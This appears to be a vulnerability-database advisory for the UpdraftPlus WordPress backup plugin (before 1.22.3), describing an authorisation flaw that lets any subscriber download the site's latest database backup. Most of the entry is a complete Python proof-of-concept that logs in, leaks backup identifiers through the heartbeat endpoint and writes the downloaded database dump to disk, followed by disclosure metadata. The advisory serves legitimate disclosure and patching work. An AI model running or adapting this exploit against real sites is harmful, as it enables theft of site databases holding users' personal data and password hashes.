WordPress Plugin Vulnerabilities

UpdraftPlus Free < 1.22.3 & Premium < 2.22.3 - Subscriber+ Backup Download

Description

The plugins do not properly validate a user has the required privileges to access a backup's nonce identifier, which may allow any users with an account on the site (such as subscriber) to download the most recent site & database backup.

Proof of Concept

from io import StringIO
import requests
import gzip
import json
import sys
import re

if len(sys.argv) != 4:
	print('USAGE: python %s <target_url> <user_login> <user_pass>' % (sys.argv[0],))
	sys.exit()

url = sys.argv[1].rstrip('/')
with requests.Session() as s:
	'''
		This exploit requires an account on the site (subcriber+)
	'''
	print('Logging in...')
	# Log into WordPress using our Subscriber account
	res = s.post(
		url + '/wp-login.php',
		headers={ 'Cookie': 'wordpress_test_cookie=WP Cookie check' },
		data={'log':sys.argv[2], 'pwd':sys.argv[3], 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie':1})

	'''
		Exploit logic:
			- The info leak occurs via the `heartbeat_received` filter. So we need to get the `heartbeat` nonce to get there.
			- With the info we leaked (backup "nonce" identifiers & timestamp), download the latest database backup.
	'''
	print('Getting heartbeat nonce..')
	nonce = s.get(url + '/wp-admin/').text
	nonce = re.search(r'heartbeatSettings = \{"nonce":"([0-9a-f]+)"\};', nonce).group(1)
	if not nonce:
		print("Couldn't find the heartbeat nonce :-(")
		sys.exit()

	# Get the UpdraftPlus "nonce" backup identifier, and timestamp
	print('Get last UpdraftPlus backup nonce/timestamp..')
	payload = {
		'action': 'heartbeat',
		'_nonce': nonce,
		'data[updraftplus][log_fetch]': ':-)',
		'data[updraftplus][log_nonce]': '0',
	}
	heartbeat_response = json.loads(s.post(url+'/wp-admin/admin-ajax.php', data=payload).text)
	if 'updraftplus' not in heartbeat_response or 'The backup apparently succeeded' not in heartbeat_response['updraftplus']['l']:
		print("Latest log doesn't show a successful backup :-(")
		sys.exit()
	data = heartbeat_response['updraftplus']
	backup_info = re.search(r'Backup run: resumption=\d+, nonce=([a-f0-9]+), file_nonce=([a-f0-9]+) begun at=(\d+)', data['u']['log']).groups()
	if not backup_info or len(backup_info) != 3:
		print("Backup logs aren't what we expected.. :-(")
		sys.exit()

	nonce, file_nonce, timestamp = backup_info
	print(f'Found backup informations: file_nonce={file_nonce}, timestamp={timestamp}')

	# Download the database backup
	print('Attempt to download file backup..')
	payload = {
		'page': 'updraftplus',
		'action': 'updraft_download_backup',
		'findex': 'test',
		'timestamp': timestamp,
		'nonce': file_nonce,
		'type': 'db'
	}
	gzipped_db = s.post(url+'/wp-admin/admin-post.php/%0a/wp-admin/options-general.php', data=payload).content
	if len(gzipped_db) < 100:
		print("Not sure there was a db to download in the first place, but it failed downloading it!")
		sys.exit()
	print('Writing db dump to db.sql..')
	f = open('db.sql', 'wb').write(gzip.decompress(gzipped_db))

Affects Plugins

Fixed in 1.22.3

References

Classification

Type
INCORRECT AUTHORISATION
CWE
CVSS

Miscellaneous

Original Researcher
Marc Montpas
Submitter
Marc Montpas
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-02-17 (about 2 years ago)
Added
2022-02-17 (about 2 years ago)
Last Updated
2022-04-13 (about 2 years ago)

Other